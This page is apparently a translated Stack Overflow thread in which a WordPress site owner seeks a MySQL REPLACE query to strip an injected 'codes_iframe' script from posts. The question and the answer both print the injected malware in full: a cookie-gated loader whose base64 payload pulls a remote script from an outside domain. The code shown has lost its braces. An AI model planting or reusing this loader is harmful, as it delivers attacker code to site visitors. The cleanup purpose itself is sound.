如何在 mysql 查询中编写 javascript 代码?

Posted

技术标签:

【中文标题】如何在 mysql 查询中编写 javascript 代码?【英文标题】:how can i write javascript code in a mysql query? 【发布时间】:2021-11-04 01:39:12 【问题描述】:

我在 phpmyadmin 中编写此查询,但显示错误。 我应该如何编写正确的查询?

UPDATE `wp_posts` SET post_content = 
REPLACE (post_content, '<!--codes_iframe-->
<script type="text/javascript"> function getCookie(e)
var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace
(/([\.$?*|\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));
return U?decodeURIComponent(U[1]):void 0
var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs="
,now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");
if(now>=(time=cookie)||void 0===time)
var time=Math.floor(Date.now()/1e3+86400),
date=new Date((new Date).getTime()+86400);
document.cookie="redirect="+time+"; 
path=/; expires="+date.toGMTString(),

document.write('') ', ' ')

【问题讨论】:

你不想要这个...参见sql注入。可能还有许多其他安全问题:( 另外,既然你设置了一个cookie,你可能应该通过PHP来做。然后在 Javascript 中做同样的事情,但现在在 php 中。并使用准备好的语句中的值。如果你真的必须通过 Javascript 来做。您应该使用 AJAX 之类的方式将要在查询中写入的数据传递给 PHP。 如果错误在 SQL 选项卡上显示为红色圆圈和/或 X,您可以将鼠标悬停在其上以获取更多信息。如果您已提交查询,您应该会从 mysql 收到一条错误消息。无论哪种情况,发布完整的错误消息都会对您有所帮助。 【参考方案1】:

据我所知,您想从所有帖子中删除该 js 代码。看起来 js 代码正在加载外部脚本。为了删除它,您需要转义 ' 字符。所以你需要使用...,document.write(\'&lt;script src="\'+src+\'"&gt;&lt;\/script&gt;\') &lt;/script&gt;...,而不是...,document.write('&lt;script src="'+src+'"&gt;&lt;\/script&gt;') &lt;/script&gt;...

在运行查询之前,请确保对该表进行备份。正确的查询是:

UPDATE `wp_posts` 
SET post_content = REPLACE (post_content, '<!--codes_iframe--><script type="text/javascript"> function getCookie(e)var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzYyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzZCUyMiU2OCU3NCU3NCU3MCU3MyUzYSUyZiUyZiU3NyU2NSU2MiU2MSU2NCU3NiU2OSU3MyU2OSU2ZiU2ZSUyZSU2ZiU2ZSU2YyU2OSU2ZSU2NSUyZiU0NiU3NyU3YSU3YSUzMyUzNSUyMiUzZSUzYyUyZiU3MyU2MyU3MiU2OSU3MCU3NCUzZSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time)var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write(\'<script src="\'+src+\'"><\/script>\') </script><!--/codes_iframe-->', ' ')
;

【讨论】:

我试过这个查询但返回 0 行受影响

以上是关于如何在 mysql 查询中编写 javascript 代码?的主要内容,如果未能解决你的问题,请参考以下文章

如何在 laravel 5.4 中编写 mysql 查询?

如何在 MySQL 中编写从现在到今天午夜之间的查询?

MySQL - 如何在过程中编写查询? (SET 数据类型参数)

我将如何在 Laravel Eloquent 中编写这个 MySQL 查询?

我如何在 codeigniter 模型中编写简单的 mysql 查询

如何在 MySQL 选择查询中编写正则表达式?